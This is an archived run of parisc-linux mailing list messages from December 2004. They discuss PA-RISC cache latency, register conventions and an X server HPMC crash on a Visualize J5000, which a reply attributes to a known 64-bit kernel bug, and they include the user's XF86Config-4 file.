Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07280-07; Thu, 30 Dec 2004 01:10:34 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id AE83329803A; Thu, 30 Dec 2004 01:10:34 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20041227073654.GI29492@colo.lackof.org>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22231

On Mon, Dec 27, 2004 at 12:36:54AM -0700, Grant Grundler wrote:
> Anyone know how many cycles ldd from L1 takes?

I found the answer for PCX-W CPU:
	The PCXW Data cache is a 4-way set associative 1 MB cache, split
	into two banks and interleaved on double word boundaries to allow
	two simultaneous uses of the cache. Each bank is further divided
	into independent tag and data ports, primarily to allow effective
	single cycle stores. The two tags hold identical information.
	Each port returns data in two cycles, but can start a new access
	every cycle.

I'll assume PA8[567]00 CPUs have similar if not identical behavior.
PA8800 may not and I'd be curious if anyone knows.

I've just committed a "simple" version that uses r19/20/21/22.
I've got another version that also uses r23/r24 but it didn't boot
and I didn't chase down why. It's possibly a HW bug with this particular
A500. I'll try it again.

Lamont tells me r23/24/28/29 are *caller* saves registers. 
Ie I could r28/29 as well (or instead of r23/24).

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chris Blackburn <cblackburn36@softhome.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Visualize J5000 and EG Graphics card
Date: Thu, 30 Dec 2004 10:07:06 +0000
Lines: 180
Approved: news@gmane.org
Message-ID: <41D3D34A.2090209@softhome.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="=_tango-18741-1104401223-0001-2"
X-Trace: ger.gmane.org 1416623632 12076 80.91.229.3 (22 Nov 2014 02:33:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:52 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Dec 2004 10:07:32 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx038) with SMTP; 30 Dec 2004 11:07:32 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id DC58B3BE53; Thu, 30 Dec 2004 03:07:25 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25120-02; Thu, 30 Dec 2004 03:07:25 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 8DAC33BE56; Thu, 30 Dec 2004 03:07:10 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CA5963BE51
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Dec 2004 03:07:04 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 24774-09 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Dec 2004 03:07:04 -0700 (MST)
Original-Received: from jive.SoftHome.net (jive.SoftHome.net [66.54.152.27])
	by free.linux.hp.com (Postfix) with SMTP id 97C343BE48
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Dec 2004 03:07:03 -0700 (MST)
Original-Received: (qmail 2246 invoked by uid 417); 30 Dec 2004 10:07:03 -0000
Original-Received: from tango-.softhome.net (HELO softhome.net) (172.16.2.14)
	by shunt-smtp-com-out-com-0 with SMTP; 30 Dec 2004 10:07:03 -0000
Original-Received: from [10.1.3.4] ([82.68.81.229])
	(AUTH: PLAIN cblackburn36@softhome.net)
	by softhome.net with esmtp; Thu, 30 Dec 2004 03:07:02 -0700
User-Agent: Mozilla Thunderbird 1.0 (Macintosh/20041206)
X-Accept-Language: en-us, en
X-Enigmail-Version: 0.89.5.0
X-Enigmail-Supports: pgp-inline, pgp-mime
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22232

This is a MIME-formatted message.  If you see this text it means that your
E-mail software does not support MIME-formatted messages.

--=_tango-18741-1104401223-0001-2
Content-Type: text/plain; charset=iso-8859-1; format=flowed
Content-Transfer-Encoding: 7bit

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Hi,

I am trying to get X windows working on a Visualize J5000 with an EG
Graphics card. The kernel recognises the card and dmesg | grep fb shows
that a framebuffer has been activated but when I try to run X I get an
HPMC error. Is this a known problem? If so how can I fix it.

Details:-

uname -a: Linux dougal 2.6.8-1-64-smp #1 SMP Tue Nov 2 13:37:53 MST 2004
parisc64 GNU/Linux

Appropriate part of /proc/pci:-

~  Bus  4, device   7, function  0:
~    Display controller: Hewlett-Packard Company A4977A Visualize EG
(rev 3).
~      Non-prefetchable 32 bit memory at 0xfffffffffa000000
[0xfffffffffbffffff].

and my XF86Config-4 file is attached.

Thanks for all your help

- --
Chris Blackburn
E-Mail: cblackburn36NOSPAM@softhome.net	
E-Mail: cblackburn36@NOSPAMgmail.com
PGP Public Key: http://makeashorterlink.com/?C2AF31929
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (Darwin)
Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org

iD8DBQFB09NKxsNEmi5WofsRAlX+AKDvE7Wi06Y7CFDA5I++3MgkSynSegCcDal6
iR17GP9UvzM+8nlp1h01OLI=
=YbmC
-----END PGP SIGNATURE-----

--=_tango-18741-1104401223-0001-2
Content-Type: text/plain; x-mac-type=0; x-mac-creator=0; name=XF86Config-4;
	charset=iso-8859-1
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="XF86Config-4"

# XF86Config-4 (XFree86 X Window System server configuration file)
#
# This file was generated by dexconf, the Debian X Configuration tool, using
# values from the debconf database.
#
# Edit this file with caution, and see the XF86Config-4 manual page.
# (Type "man XF86Config-4" at the shell prompt.)
#
# This file is automatically updated on xserver-xfree86 package upgrades *only*
# if it has not been modified since the last upgrade of the xserver-xfree86
# package.
#
# If you have edited this file but would like it to be automatically updated
# again, run the following commands as root:
#
#   cp /etc/X11/XF86Config-4 /etc/X11/XF86Config-4.custom
#   md5sum /etc/X11/XF86Config-4 >/var/lib/xfree86/XF86Config-4.md5sum
#   dpkg-reconfigure xserver-xfree86

Section "Files"
	FontPath	"unix/:7100"			# local font server
	# if the local font server has problems, we can fall back on these
	FontPath	"/usr/lib/X11/fonts/misc"
	FontPath	"/usr/lib/X11/fonts/cyrillic"
	FontPath	"/usr/lib/X11/fonts/100dpi/:unscaled"
	FontPath	"/usr/lib/X11/fonts/75dpi/:unscaled"
	FontPath	"/usr/lib/X11/fonts/Type1"
	FontPath	"/usr/lib/X11/fonts/CID"
	FontPath	"/usr/lib/X11/fonts/Speedo"
	FontPath	"/usr/lib/X11/fonts/100dpi"
	FontPath	"/usr/lib/X11/fonts/75dpi"
EndSection

Section "Module"
	Load	"GLcore"
	Load	"bitmap"
	Load	"dbe"
	Load	"ddc"
	Load	"dri"
	Load	"extmod"
	Load	"freetype"
	Load	"glx"
	Load	"int10"
	Load	"record"
	Load	"speedo"
	Load	"type1"
	Load	"vbe"
EndSection

Section "InputDevice"
	Identifier	"Generic Keyboard"
	Driver		"keyboard"
	Option		"CoreKeyboard"
	Option		"XkbRules"	"xfree86"
	Option		"XkbModel"	"pc104"
	Option		"XkbLayout"	"gb"
	Option		"XkbVariant"	"gb"
EndSection

Section "InputDevice"
	Identifier	"Configured Mouse"
	Driver		"mouse"
	Option		"CorePointer"
	Option		"Device"		"/dev/input/mice"
	Option		"Protocol"		"ImPS/2"
	Option		"Emulate3Buttons"	"true"
	Option		"ZAxisMapping"		"4 5"
EndSection

Section "Device"
	Identifier	"HP Visualize FX4"
	Driver		"fbdev"
        Option          "UseFBDev"        "true"
EndSection

Section "Monitor"
	Identifier	"MITAC-17AE"
	HorizSync	30-65
	VertRefresh	50-75
	Option		"DPMS"
EndSection

Section "Screen"
	Identifier	"Default Screen"
	Device		"HP Visualize FX4"
	Monitor		"MITAC-17AE"
	DefaultDepth	8
	SubSection "Display"
		Depth		1
		Modes		"1280x1024" "1280x960" "1152x864" "1024x768" "800x600" "640x480"
	EndSubSection
	SubSection "Display"
		Depth		4
		Modes		"1280x1024" "1280x960" "1152x864" "1024x768" "800x600" "640x480"
	EndSubSection
	SubSection "Display"
		Depth		8
		Modes		"1280x1024" "1280x960" "1152x864" "1024x768" "800x600" "640x480"
	EndSubSection
EndSection

Section "ServerLayout"
	Identifier	"Default Layout"
	Screen		"Default Screen"
	InputDevice	"Generic Keyboard"
	InputDevice	"Configured Mouse"
EndSection

Section "DRI"
	Mode	0666
EndSection

--=_tango-18741-1104401223-0001-2
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--=_tango-18741-1104401223-0001-2--



From - Thu Nov 08 21:32:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: copy_user_page_asm suggested 64bit improvment
	[Was: [parisc-l
Date: Thu, 30 Dec 2004 12:04:17 -0500 (EST)
Lines: 30
Approved: news@gmane.org
Message-ID: <200412301704.iBUH4IJv027820@hiauly1.hia.nrc.ca>
References: <20041230081034.GD31297@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623633 12081 80.91.229.3 (22 Nov 2014 02:33:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Dec 2004 17:05:13 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx058) with SMTP; 30 Dec 2004 18:05:13 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id D3EA53BE56; Thu, 30 Dec 2004 10:05:08 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29350-01; Thu, 30 Dec 2004 10:05:07 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 8BFEB3BE67; Thu, 30 Dec 2004 10:04:36 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 033CE3BE51
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Dec 2004 10:04:21 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 28441-03 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Dec 2004 10:04:21 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id C26893BE48
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Dec 2004 10:04:20 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	iBUH4ID2027823; Thu, 30 Dec 2004 12:04:19 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id iBUH4IJv027820;
	Thu, 30 Dec 2004 12:04:18 -0500 (EST)
In-Reply-To: <20041230081034.GD31297@colo.lackof.org> from "Grant Grundler" at
	Dec 30, 2004 03:10:34 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22233

> Lamont tells me r23/24/28/29 are *caller* saves registers. 
> Ie I could r28/29 as well (or instead of r23/24).

Here is a summary of the uses for general call used registers.  These are
r1, r2 and r19 to r31.

Register			32-bit		64-bit
Arguments		       r23-r26 	       r19-r26
Argument Pointer		    NA		   r29
Static Chain			   r29		   r31
PIC Offset Table Pointer	   r19		   r27
Stack Pointer			   r30		   r30
Return Pointer			    r2		    r2
Millicode Return Pointer	   r31		    r2 (r31 for local millicode)
Pointer for $$dyncall		   r21		    NA

You can never use r30 and you can't use r2 without saving it.  Watch out
for the PIC register conventions.  Depending on circumstances, the rest
should be usable.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Visualize J5000 and EG Graphics card
Date: Thu, 30 Dec 2004 12:47:23 -0700
Lines: 169
Approved: news@gmane.org
Message-ID: <20041230194723.GA18715@colo.lackof.org>
References: <41D3D34A.2090209@softhome.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623633 12082 80.91.229.3 (22 Nov 2014 02:33:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Chris Blackburn <cblackburn36@softhome.net>
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Dec 2004 19:49:40 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx062) with SMTP; 30 Dec 2004 20:49:40 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 21CB23BE63; Thu, 30 Dec 2004 12:49:35 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30534-02; Thu, 30 Dec 2004 12:49:34 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 786593BE6B; Thu, 30 Dec 2004 12:49:25 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 272C93BE56
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Dec 2004 12:49:18 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 30059-07 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Dec 2004 12:49:17 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id C07073BE68
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Dec 2004 12:49:16 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 30A9F298052; Thu, 30 Dec 2004 12:49:16 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18746-01; Thu, 30 Dec 2004 12:47:27 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id DDE1629803A; Thu, 30 Dec 2004 12:47:23 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <41D3D34A.2090209@softhome.net>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22234

On Thu, Dec 30, 2004 at 10:07:06AM +0000, Chris Blackburn wrote:
> I am trying to get X windows working on a Visualize J5000 with an EG
> Graphics card. The kernel recognises the card and dmesg | grep fb shows
> that a framebuffer has been activated but when I try to run X I get an
> HPMC error. Is this a known problem? If so how can I fix it.

Yes, known problem. I ran into a few monthes back.
64-bit kernel isn't F-extending an address someplace.
We've had this problem before and I don't know when it crept back in.
Either use 32-bit kernel or start hunting down the life span of the
frame buffer address. Maybe start with the STI FB drivers.

thanks,
grant

> 
> Details:-
> 
> uname -a: Linux dougal 2.6.8-1-64-smp #1 SMP Tue Nov 2 13:37:53 MST 2004
> parisc64 GNU/Linux
> 
> Appropriate part of /proc/pci:-
> 
> ~  Bus  4, device   7, function  0:
> ~    Display controller: Hewlett-Packard Company A4977A Visualize EG
> (rev 3).
> ~      Non-prefetchable 32 bit memory at 0xfffffffffa000000
> [0xfffffffffbffffff].
> 
> and my XF86Config-4 file is attached.
> 
> Thanks for all your help
> 
> - --
> Chris Blackburn
> E-Mail: cblackburn36NOSPAM@softhome.net	
> E-Mail: cblackburn36@NOSPAMgmail.com
> PGP Public Key: http://makeashorterlink.com/?C2AF31929
> -----BEGIN PGP SIGNATURE-----
> Version: GnuPG v1.2.4 (Darwin)
> Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org
> 
> iD8DBQFB09NKxsNEmi5WofsRAlX+AKDvE7Wi06Y7CFDA5I++3MgkSynSegCcDal6
> iR17GP9UvzM+8nlp1h01OLI=
> =YbmC
> -----END PGP SIGNATURE-----

> # XF86Config-4 (XFree86 X Window System server configuration file)
> #
> # This file was generated by dexconf, the Debian X Configuration tool, using
> # values from the debconf database.
> #
> # Edit this file with caution, and see the XF86Config-4 manual page.
> # (Type "man XF86Config-4" at the shell prompt.)
> #
> # This file is automatically updated on xserver-xfree86 package upgrades *only*
> # if it has not been modified since the last upgrade of the xserver-xfree86
> # package.
> #
> # If you have edited this file but would like it to be automatically updated
> # again, run the following commands as root:
> #
> #   cp /etc/X11/XF86Config-4 /etc/X11/XF86Config-4.custom
> #   md5sum /etc/X11/XF86Config-4 >/var/lib/xfree86/XF86Config-4.md5sum
> #   dpkg-reconfigure xserver-xfree86
> 
> Section "Files"
> 	FontPath	"unix/:7100"			# local font server
> 	# if the local font server has problems, we can fall back on these
> 	FontPath	"/usr/lib/X11/fonts/misc"
> 	FontPath	"/usr/lib/X11/fonts/cyrillic"
> 	FontPath	"/usr/lib/X11/fonts/100dpi/:unscaled"
> 	FontPath	"/usr/lib/X11/fonts/75dpi/:unscaled"
> 	FontPath	"/usr/lib/X11/fonts/Type1"
> 	FontPath	"/usr/lib/X11/fonts/CID"
> 	FontPath	"/usr/lib/X11/fonts/Speedo"
> 	FontPath	"/usr/lib/X11/fonts/100dpi"
> 	FontPath	"/usr/lib/X11/fonts/75dpi"
> EndSection
> 
> Section "Module"
> 	Load	"GLcore"
> 	Load	"bitmap"
> 	Load	"dbe"
> 	Load	"ddc"
> 	Load	"dri"
> 	Load	"extmod"
> 	Load	"freetype"
> 	Load	"glx"
> 	Load	"int10"
> 	Load	"record"
> 	Load	"speedo"
> 	Load	"type1"
> 	Load	"vbe"
> EndSection
> 
> Section "InputDevice"
> 	Identifier	"Generic Keyboard"
> 	Driver		"keyboard"
> 	Option		"CoreKeyboard"
> 	Option		"XkbRules"	"xfree86"
> 	Option		"XkbModel"	"pc104"
> 	Option		"XkbLayout"	"gb"
> 	Option		"XkbVariant"	"gb"
> EndSection
> 
> Section "InputDevice"
> 	Identifier	"Configured Mouse"
> 	Driver		"mouse"
> 	Option		"CorePointer"
> 	Option		"Device"		"/dev/input/mice"
> 	Option		"Protocol"		"ImPS/2"
> 	Option		"Emulate3Buttons"	"true"
> 	Option		"ZAxisMapping"		"4 5"
> EndSection
> 
> Section "Device"
> 	Identifier	"HP Visualize FX4"
> 	Driver		"fbdev"
>         Option          "UseFBDev"        "true"
> EndSection
> 
> Section "Monitor"
> 	Identifier	"MITAC-17AE"
> 	HorizSync	30-65
> 	VertRefresh	50-75
> 	Option		"DPMS"
> EndSection
> 
> Section "Screen"
> 	Identifier	"Default Screen"
> 	Device		"HP Visualize FX4"
> 	Monitor		"MITAC-17AE"
> 	DefaultDepth	8
> 	SubSection "Display"
> 		Depth		1
> 		Modes		"1280x1024" "1280x960" "1152x864" "1024x768" "800x600" "640x480"
> 	EndSubSection
> 	SubSection "Display"
> 		Depth		4
> 		Modes		"1280x1024" "1280x960" "1152x864" "1024x768" "800x600" "640x480"
> 	EndSubSection
> 	SubSection "Display"
> 		Depth		8
> 		Modes		"1280x1024" "1280x960" "1152x864" "1024x768" "800x600" "640x480"
> 	EndSubSection
> EndSection
> 
> Section "ServerLayout"
> 	Identifier	"Default Layout"
> 	Screen		"Default Screen"
> 	InputDevice	"Generic Keyboard"
> 	InputDevice	"Configured Mouse"
> EndSection
> 
> Section "DRI"
> 	Mode	0666
> EndSection

> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@wolfbutter.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: copy_user_page_asm suggested 64bit improvment [Was:
	[parisc-linux] clear user page test]
Date: Fri, 31 Dec 2004 14:26:13 -0600
Lines: 182
Approved: news@gmane.org
Message-ID: <200412311426.13425.mszick@wolfbutter.com>
References: <418A80E8000124B5@mail-6-bnl.tiscali.it>
	<41CFE6B1.6010707@tiscali.be> <1104160093.5295.8.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-2022-jp"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623633 12085 80.91.229.3 (22 Nov 2014 02:33:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:53 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 Dec 2004 20:27:46 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
